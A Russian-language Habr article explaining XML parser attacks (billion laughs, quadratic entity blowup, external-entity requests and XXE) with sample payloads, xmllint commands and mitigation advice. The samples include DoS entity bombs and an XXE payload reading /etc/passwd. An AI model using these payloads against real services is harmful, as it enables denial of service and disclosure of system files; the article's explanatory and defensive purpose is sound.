Pull to refresh

Как сделать бомбу из XML

Reading time5 min
Views43K
В рассылке oss-security было опубликовано обсуждение различных уязвимостей, связанных с разбором XML. Уязвимостям подвержены приложения, которые разрешают библиотекам обрабатывать именованные и внешние сущности в DTD, встроенном в XML-документ, полученный из недоверенного источника. Т.е. по сути — приложения, не изменяющие настроек парсера по умолчанию.

Примеры XML-бомб под катом. Если у вас есть приложения, обрабатывающие XML, вы можете самостоятельно проверить их на предмет наличия уязвимостей. Проверка бомб в этом посте производится на примере утилиты xmllint, входящей в комплект поставки библиотеки libxml2, но можно использовать и другие синтаксические анализаторы.



Теория



Стандарт XML разрешает XML-документам использовать DTD для определения допустимых конструкций из вложенных тегов и атрибутов. DTD может быть либо представлен в виде ссылки на внешний источник, либо полностью определяться внутри самого документа. Пример документа со встроенным DTD:

<!DOCTYPE greeting [
  <!ELEMENT greeting (#PCDATA)>
]>
<greeting>Hello, world!</greeting>


В DTD, помимо элементов и атрибутов, можно определять сущности. Пример документа, использующего именованные сущности:

<!DOCTYPE greeting [
  <!ENTITY target "world">
  <!ELEMENT greeting (#PCDATA)>
]>
<greeting>Hello, &target;!</greeting>


Проверить этот документ на валидность и раскрыть сущности можно так:

$ xmllint --noent --valid hello.xml


Экспоненциальное раздувание сущностей



Именованные сущности могут раскрываться не только в символьные строки, но и в последовательности других сущностей. Рекурсия запрещена стандартом, но ограничений на допустимую глубину вложенности нет. Это позволяет добиться компактного представления очень длинных текстовых строк (аналогично тому, как это делают архиваторы) и составляет основу атаки «billion laughs», известной с 2003 года.

<!DOCTYPE bomb [
 <!ENTITY a "1234567890" >
 <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
 <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
 <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
 <!ELEMENT bomb (#PCDATA)>
]>
<bomb>&d;</bomb>


Современные XML-парсеры содержат защиту от такой атаки. Например, libxml2 по умолчанию отказывается разбирать этот документ, несмотря на его строгое соответствие стандарту:

$ xmllint --noent --valid bomb1.xml
Entity: line 1: parser error : Detected an entity reference loop
&c;&c;&c;&c;&c;&c;&c;&c;
   ^
bomb1.xml:8: parser error : Detected an entity reference loop
<bomb>&d;</bomb>
         ^


Чтобы таки увидеть, насколько он раздувается при раскрытии сущностей, надо явно отключить защиту от этой атаки:

$ xmllint --noent --valid --huge bomb1.xml | wc -c
5344


Очевидно, добавление новой сущности по аналогии с уже приведенными раздувает выходной поток примерно во столько раз, сколько ссылок на предыдущую сущность содержится в добавляемой. Входной документ при этом увеличивается на количество байт, пропорциональное этому количеству ссылок. Т.е. имеет место экспоненциальная зависимость между размерами входного XML-документа и выходного потока символов.

Маленький XML-документ может вызвать непропорционально большое потребление ресурсов (таких как ОЗУ и время процессора) для задачи его разбора до тегов и символьных строк. Перед нами типичная DoS-атака, основанная на существенном различии сложности используемого алгоритма в типичном и худшем случае.

Квадратичное раздувание сущностей



Как мы уже видели, некоторые библиотеки для борьбы с атакой «billion laughs» вводят жесткое искусственное ограничение на глубину дерева именованных сущностей. Такое ограничение действительно позволяет предотвратить экспоненциальную зависимость между объемом входного XML-файла и выходного потока символов. Однако, для взломщика, стремящегося израсходовать все ресурсы сервера сравнительно небольшим XML-документом, наличие экспоненциальной зависимости между этими величинами не нужно. Квадратичная зависимость вполне сойдет, а для нее достаточно одного уровня именованных сущностей. Будем просто повторять одну длинную сущность много раз:

<!DOCTYPE bomb [
 <!ENTITY x "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...x" >
 <!ELEMENT bomb (#PCDATA)>
]>
<bomb>&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;...&x;</bomb>


$ xmllint --huge --noent --valid bomb2.xml | wc -c
1868


Опция --huge добавлена на случай, ваша версия libxml2 посчитает, что приведенный пример является атакой. Этому ее научили этим коммитом, т.е. на момент публикации поста соответствующее изменение не успело попасть в релиз.

Внешние сущности



Стандарт XML содержит возможность получать значения сущностей не только из готовых строк, но и путем обращения к внешним ресурсам, например, по протоколу HTTP. Это открывает для атакующего, имеющего доступ к парсеру XML на сервере-зомби, возможность сканировать порты и даже организовывать DoS-атаки на другие сервера, скрывая свой IP-адрес. Вот этот XML-файл при попытке его разобрать парсером, поддерживающим внешние сущности, создаст три запроса к RSS-потокам Хабра:

<!DOCTYPE bomb [
 <!ENTITY a1 SYSTEM "http://habrahabr.ru/rss/best/" >
 <!ENTITY a2 SYSTEM "http://habrahabr.ru/rss/hubs/" >
 <!ENTITY a3 SYSTEM "http://habrahabr.ru/rss/qa/" >
 <!ELEMENT author ANY>
 <!ELEMENT blockquote ANY>
 <!ELEMENT category ANY>
 <!ELEMENT channel ANY>
 <!ELEMENT code ANY>
 <!ELEMENT description ANY>
 <!ELEMENT generator ANY>
 <!ELEMENT guid ANY>
 <!ATTLIST guid isPermaLink CDATA #IMPLIED>
 <!ELEMENT h3 ANY>
 <!ELEMENT i ANY>
 <!ELEMENT image ANY>
 <!ELEMENT item ANY>
 <!ELEMENT language ANY>
 <!ELEMENT lastBuildDate ANY>
 <!ELEMENT link ANY>
 <!ELEMENT managingEditor ANY>
 <!ELEMENT pre ANY>
 <!ELEMENT pubDate ANY>
 <!ELEMENT rss ANY>
 <!ATTLIST rss version CDATA #IMPLIED>
 <!ELEMENT title ANY>
 <!ELEMENT url ANY>
 <!ELEMENT bomb ANY>
]>
<bomb>&a1;&a2;&a3;</bomb>


$ xmllint --noent --noout --load-trace bomb3.xml


В примере выше можно запретить парсеру читать сущности из сети путем передачи ключа --nonet.

Тем же способом можно заставить уязвимое приложение читать локальные файлы с секретной информацией вроде пароля для базы данных. К сожалению, здесь --nonet не помогает:

<!DOCTYPE bomb [
 <!ENTITY passwd SYSTEM "file:///etc/passwd" >
 <!ELEMENT bomb (#PCDATA)>
]>
<bomb>&passwd;</bomb>


$ xmllint --noent --nonet --valid bomb4.xml


Подобный тип атак называется XXE (от XML eXternal Entity). Один из недавних примеров — уязвимость в PostgreSQL, CVE-2012-3489.

Заключение



Теперь поговорим о предотвращении таких атак.

Само собой, необходимо использовать версии библиотек, в которых приняты контрмеры против этих и других уязвимостей. Необходимо явно ограничивать ресурсы, затраченные на разбор XML-документа. Например, для libxml2 это можно сделать, вызвав xmlMemSetup() и передав свои собственные функции управления памятью, которые просто не дадут выделить слишком много. Необходимо также ограничить доступ к внешним ресурсам, например, путем написания собственного загрузчика сущностей.

Есть, однако, мнение, что все меры, перечисленные выше, нацелены на симптомы, а не на суть перечисленных уязвимостей. Действительно, откуда вообще в вашем приложении взялась задача разбора XML-документа согласно DTD, упоминающемуся (или содержащемуся) в нем самом? Не будет ли более правильной задача разбора этого XML-документа согласно правилам вашего приложения? Ведь вы же проверяете валидность данных в HTML-форме согласно регулярным выражениям, находящимся в коде ее обработчика, а не пришедшим вместе с данными формы. Соответственно, вам хватит не использующего DTD (а значит, невалидирующего) XML-парсера, в который заранее загружены нужные сущности.
Tags:
Hubs:
If this publication inspired you and you want to support the author, do not hesitate to click on the button
+75
Comments10

Articles